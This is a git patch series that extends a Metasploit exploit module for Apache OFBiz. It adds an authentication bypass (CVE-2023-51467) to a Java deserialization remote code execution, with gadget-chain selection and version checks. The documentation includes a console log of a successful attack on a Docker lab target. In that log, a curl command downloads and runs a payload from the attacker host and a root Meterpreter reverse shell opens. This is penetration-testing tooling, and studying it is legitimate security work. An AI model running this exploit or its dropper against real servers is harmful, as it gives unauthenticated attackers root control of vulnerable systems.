From 077cad34ab24eecd473bdd41995c432a8dd2a3f3 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 8 Jan 2024 19:47:24 -0500 Subject: [PATCH 1/5] non-working module --- .../http/apache_ofbiz_deserialization.md | 8 +++- .../http/apache_ofbiz_deserialization.rb | 44 ++++++++++++++----- 2 files changed, 40 insertions(+), 12 deletions(-) diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index a7df22f846..d4c458b7fc 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -8,10 +8,16 @@ versions prior to 17.12.04. ### Setup +#### 15.12 + You can use . 1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443 - * `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12` + * `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12` + +#### 18.12.09 + +`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:18.12` ## Verification Steps diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb index fc2a453b82..3781b1c6d9 100644 --- a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb +++ b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb @@ -21,16 +21,21 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.04. + Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467. }, 'Author' => [ 'Alvaro Muñoz', # Discovery - 'wvu' # Exploit + 'wvu', # Exploit + 'h00die' # cve-2023-49070 ], 'References' => [ ['CVE', '2020-9496'], + ['CVE', '2023-49070'], # auth bypass update + ['CVE', '2023-51467'], # auth bypass update ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'], ['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'], - ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'] + ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'], + ['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass ], 'DisclosureDate' => '2020-07-13', # Vendor release note 'License' => MSF_LICENSE, @@ -76,7 +81,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(8443), - OptString.new('TARGETURI', [true, 'Base path', '/']) + OptString.new('TARGETURI', [true, 'Base path', '/']), + OptBool.new('AUTHBYPASS', [true, 'Utilize CVE-2023-51467', true]) ]) end @@ -84,13 +90,18 @@ class MetasploitModule < Msf::Exploit::Remote # Send an empty serialized object res = send_request_xmlrpc('') - unless res - return CheckCode::Unknown('Target did not respond to check.') - end + return CheckCode::Unknown('Target did not respond to check.') unless res - if res.body.include?('Failed to read result object: null') - return CheckCode::Vulnerable('Target can deserialize arbitrary data.') - end + return CheckCode::Vulnerable('Target can deserialize arbitrary data.') if res.body.include?('Failed to read result object: null') + + # newer versions respond w/o a content length, so try just a gest + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') + ) + + return CheckCode::Unknown('Target did not respond to check.') unless res + + return CheckCode::Detected('Apache OFBiz detected') if res.body.include?('Apache OFBiz.') CheckCode::Safe('Target cannot deserialize arbitrary data.') end @@ -124,7 +135,7 @@ class MetasploitModule < Msf::Exploit::Remote def send_request_xmlrpc(data) # http://xmlrpc.com/ # https://ws.apache.org/xmlrpc/ - send_request_cgi( + request = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'), 'ctype' => 'text/xml', @@ -148,7 +159,18 @@ class MetasploitModule < Msf::Exploit::Remote XML - ) + } + + if datastore['AUTHBYPASS'] + request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/ + request['vars_get'] = { + 'USERNAME' => '', + 'PASSWORD' => rand_text_alphanumeric(1..5), + 'requirePasswordChange' => 'Y' # magic bypass string + } + end + + send_request_cgi(request) end end From 6de51a50478a8a7563c8db33a5d68f63b83214c7 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 8 Jan 2024 19:49:47 -0500 Subject: [PATCH 2/5] non-working module --- .../modules/exploit/linux/http/apache_ofbiz_deserialization.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index d4c458b7fc..6b399ec51c 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -17,7 +17,7 @@ You can use . #### 18.12.09 -`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:18.12` +`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09` ## Verification Steps From d7cf9155a6d54b27ebb29f15bc223275c899317d Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 16 Jan 2024 20:06:11 -0500 Subject: [PATCH 3/5] ofbiz working for 18.12.09 --- .../http/apache_ofbiz_deserialization.md | 61 ++++++++++++++++++- .../http/apache_ofbiz_deserialization.rb | 24 ++++++-- 2 files changed, 78 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index 6b399ec51c..9758650775 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -6,6 +6,11 @@ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for versions prior to 17.12.04. +Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 +and use the `CommonsBeanutils1`` gadget chain. + +Verified working on 18.12.09, and 15.12 + ### Setup #### 15.12 @@ -33,9 +38,16 @@ This executes a Unix command. This uses a Linux dropper to execute code. +## Options + +### AUTHBYPASS + +Utilize CVE-2023-49070 and CVE-2023-51467 to bypass auth, also changes the gadget chain to +`CommonsBeanutils1` to work with versions newer than ofbiz 17. + ## Scenarios -### Apache OFBiz from [Docker](#setup). +### Apache OFBiz from [Docker](#setup) 15.12. ``` msf6 > use exploit/linux/http/apache_ofbiz_deserialization @@ -107,3 +119,50 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > ``` + +### Apache OFBiz from [Docker](#setup) 18.12.09. + +``` +[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization +[*] Using configured payload linux/x64/meterpreter_reverse_https +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080 +rport => 8080 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999 +srvport => 8999 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999 +lport => 9999 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1 +lhost => 172.17.0.1 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit + +[*] Started HTTPS reverse handler on https://172.17.0.1:9999 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Apache OFBiz detected +[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https +[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG +[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG +[*] Sending payload to 172.17.0.2 (curl/7.74.0) +[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0' +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0' +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0' +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session... +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500 +[*] Server stopped. + +(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid +Server username: root +(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo +Computer : 172.17.0.2 +OS : Debian 11.4 (Linux 6.5.0-kali3-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/usr/src/apache-ofbiz) > +``` \ No newline at end of file diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb index 3781b1c6d9..f0abfe4355 100644 --- a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb +++ b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb @@ -21,7 +21,10 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.04. - Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467. + Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 + and use the CommonsBeanutils1 gadget chain. + + Verified working on 18.12.09, and 15.12 }, 'Author' => [ 'Alvaro Muñoz', # Discovery @@ -94,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Vulnerable('Target can deserialize arbitrary data.') if res.body.include?('Failed to read result object: null') - # newer versions respond w/o a content length, so try just a gest + # newer versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') ) @@ -120,10 +123,19 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") - res = send_request_xmlrpc( - # framework/webapp/lib/rome-0.9.jar - generate_java_deserialization_for_command('ROME', 'bash', cmd) - ) + if datastore['AUTHBYPASS'] # assumes ~18.12 or so + res = send_request_xmlrpc( + # framework/webapp/lib/rome-0.9.jar + # used with 18.12 compatible, but not 15.12 compatible + generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both + ) + else + res = send_request_xmlrpc( + # framework/webapp/lib/rome-0.9.jar + # used with 15.12, but not 18.12 compatible + generate_java_deserialization_for_command('ROME', 'bash', cmd) + ) + end unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}") From 2efbf6e2f51a0828dd66032a365ad216f121021e Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 29 Jan 2024 17:21:06 -0500 Subject: [PATCH 4/5] review comments --- modules/exploits/linux/http/apache_ofbiz_deserialization.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb index f0abfe4355..7499d3ece9 100644 --- a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb +++ b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb @@ -21,6 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for versions prior to 17.12.04. + Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. From 84278b8e0e9e086f6e0daa60afcc63400e6471a9 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 6 Feb 2024 16:45:02 -0500 Subject: [PATCH 5/5] fix ofbiz auto detection --- .../http/apache_ofbiz_deserialization.md | 11 +--- .../http/apache_ofbiz_deserialization.rb | 61 +++++++++++++------ 2 files changed, 45 insertions(+), 27 deletions(-) diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index 9758650775..33dd7170e0 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -4,12 +4,12 @@ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for -versions prior to 17.12.04. +versions prior to 17.12.01 using the `ROME` gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 -and use the `CommonsBeanutils1`` gadget chain. +and use the `CommonsBeanutils1` gadget chain. -Verified working on 18.12.09, and 15.12 +Verified working on 18.12.09, 17.12.01, and 15.12 ### Setup @@ -40,11 +40,6 @@ This uses a Linux dropper to execute code. ## Options -### AUTHBYPASS - -Utilize CVE-2023-49070 and CVE-2023-51467 to bypass auth, also changes the gadget chain to -`CommonsBeanutils1` to work with versions newer than ofbiz 17. - ## Scenarios ### Apache OFBiz from [Docker](#setup) 15.12. diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb index 7499d3ece9..1587cf2082 100644 --- a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb +++ b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb @@ -20,12 +20,12 @@ class MetasploitModule < Msf::Exploit::Remote 'Description' => %q{ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for - versions prior to 17.12.04. + versions prior to 17.12.01 using the ROME gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. - Verified working on 18.12.09, and 15.12 + Verified working on 18.12.09, 17.12.01, and 15.12 }, 'Author' => [ 'Alvaro Muñoz', # Discovery @@ -86,31 +86,52 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'Base path', '/']), - OptBool.new('AUTHBYPASS', [true, 'Utilize CVE-2023-51467', true]) ]) end + # attempt to determine the version number. This attempt is flawed on versions + # < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page + # doesn't exist on versions < 17, so we just return back 'pre-17' + def version_from_login_page + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') + }) + return nil if res.nil? + return 'pre-17' unless res.code == 200 + # https://rubular.com/r/vputt9uJecevOk + if res.body =~ %r{Apache OFBiz\. Release\s+(?:release)?([\d.]+)} + return Regexp.last_match(1).strip + end + + 'unknown' + end + def check # Send an empty serialized object res = send_request_xmlrpc('') return CheckCode::Unknown('Target did not respond to check.') unless res - return CheckCode::Vulnerable('Target can deserialize arbitrary data.') if res.body.include?('Failed to read result object: null') + if res.body.include?('Failed to read result object: null') + @version = 'pre-17' + return CheckCode::Vulnerable('Target can deserialize arbitrary data.') + end - # newer versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') - ) + # newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz + @version = version_from_login_page - return CheckCode::Unknown('Target did not respond to check.') unless res + return CheckCode::Unknown('Target did not respond to check.') if @version.nil? + return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown' - return CheckCode::Detected('Apache OFBiz detected') if res.body.include?('Apache OFBiz.') + return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17' + return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11') - CheckCode::Safe('Target cannot deserialize arbitrary data.') + CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable") end def exploit + @version = version_from_login_page if @version.nil? + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] @@ -124,18 +145,20 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") - if datastore['AUTHBYPASS'] # assumes ~18.12 or so - res = send_request_xmlrpc( - # framework/webapp/lib/rome-0.9.jar - # used with 18.12 compatible, but not 15.12 compatible - generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both - ) - else + if @version == 'pre-17' + vprint_status('Utilizing ROME deserialization chain') res = send_request_xmlrpc( # framework/webapp/lib/rome-0.9.jar # used with 15.12, but not 18.12 compatible generate_java_deserialization_for_command('ROME', 'bash', cmd) ) + else + vprint_status('Utilizing CommonsBeanutils1 deserialization chain') + res = send_request_xmlrpc( + # framework/webapp/lib/rome-0.9.jar + # used with 18.12 compatible, but not 15.12 compatible + generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both + ) end unless res && res.code == 200 @@ -174,7 +197,7 @@ class MetasploitModule < Msf::Exploit::Remote XML } - if datastore['AUTHBYPASS'] + unless @version == 'pre-17' request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/ request['vars_get'] = { 'USERNAME' => '',